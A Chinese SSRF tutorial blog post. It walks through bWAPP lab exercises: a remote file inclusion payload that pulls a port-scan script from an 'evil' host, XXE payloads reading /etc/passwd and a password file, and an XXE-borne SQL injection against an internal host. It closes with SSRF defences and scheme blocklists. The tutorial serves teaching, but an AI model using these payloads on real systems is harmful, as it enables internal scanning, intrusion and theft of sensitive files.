渗透测试之SSRF服务器端请求伪造漏洞

SSRF服务器端请求伪造漏洞

原理:

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成的原因
大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

原理简析:
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。

利用ssrf可以实现的攻击
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
渗透测试之SSRF服务器端请求伪造漏洞

SSRF测试实验

这里我们使用bwapp中的ssrf靶场

使用远程文件包含进行端口扫描

1.使用bee/bug进行登录,登录的时候的等级选择为low,登录后选择SSRF的靶场。
渗透测试之SSRF服务器端请求伪造漏洞
2.点击Hack后进入以下页面,bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:

任务1:使用远程文件包含进行端口扫描(内网探测)

任务2:使用XXE获取敏感文件中的内容(文件读取)

任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
渗透测试之SSRF服务器端请求伪造漏洞3.点击任务1中的Port scan可以获得一份端口扫描的攻击脚本 。
http://192.168.1.4:81/bwapp/evil/ssrf-1.txt,仅需要包含脚本,并请求IP参数为对应的主机即可,接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。

4.在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level还是选择low,然后点击Hack。
渗透测试之SSRF服务器端请求伪造漏洞渗透测试之SSRF服务器端请求伪造漏洞5.进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php

GET的请求: http://192.168.1.4/bWAPP/rlfi.php?language=lang_en.php&action=go

渗透测试之SSRF服务器端请求伪造漏洞6.使用如下PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务。
POST:http://192.168.1.4/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST DATA:ip=192.168.10.1
这里http://xxx.xxx.xxx/是扫描脚本的访问地址,192.168.10.1是要扫描的目标主机地址,且该地址是xxx.xxx.xxx主机无法访问到的,然后方便查看区分使用post请求提交要进行扫描的目标主机IP,扫描结束后便返回结果。
渗透测试之SSRF服务器端请求伪造漏洞

使用XXE获取敏感文件中的内容

先点击任务2中的Access得到XXE的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然后访问XML External Entity Attacks (XXE)演练环境,使用burpSuite抓包,并发送到repeater中进行测试。

渗透测试之SSRF服务器端请求伪造漏洞使用http协议获取/bWAPP/robots.txt的内容。
渗透测试之SSRF服务器端请求伪造漏洞

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root1  [
 <!ENTITY bWAPP SYSTEM
"http://localhost/1/bwapp/robots.txt">
]>
<reset> 
<login>&bWAPP;</login> 
<secret>blah</secret> 
</reset>

php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/heroes.xml
使用php协议获取/bWAPP/passwords/heroes.xml中的经过base64编码的数据。

渗透测试之SSRF服务器端请求伪造漏洞
渗透测试之SSRF服务器端请求伪造漏洞

使用file协议获取bWAPP本机的/etc/passwd的内容。

渗透测试之SSRF服务器端请求伪造漏洞

使用XXE进行内网sql注入

使用XXE进行内网sql注入)
这个任务对内网站点的SQL注入漏洞进行利用。如,192.168.163.150主机上有注入漏洞那么可以发送如下payload可以使用SSRF进行SQL漏洞的利用,当然也可以进行Struts2等漏洞的利用。

1.<?xml version=”1.0″ encoding=”utf-8″?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

渗透测试之SSRF服务器端请求伪造漏洞

SSRF防护方法

1、防护措施
(黑名单)
(1)过滤10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost私有地址、IPv6地址
(2)过滤file:///、dict://、gopher://、ftp:// 危险schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)
2、最佳防护
(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用 CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致

上一篇:【安全】P 7-1 SSRF漏洞原理介绍


下一篇:MinIO未授权SSRF漏洞(CVE-2021-21287)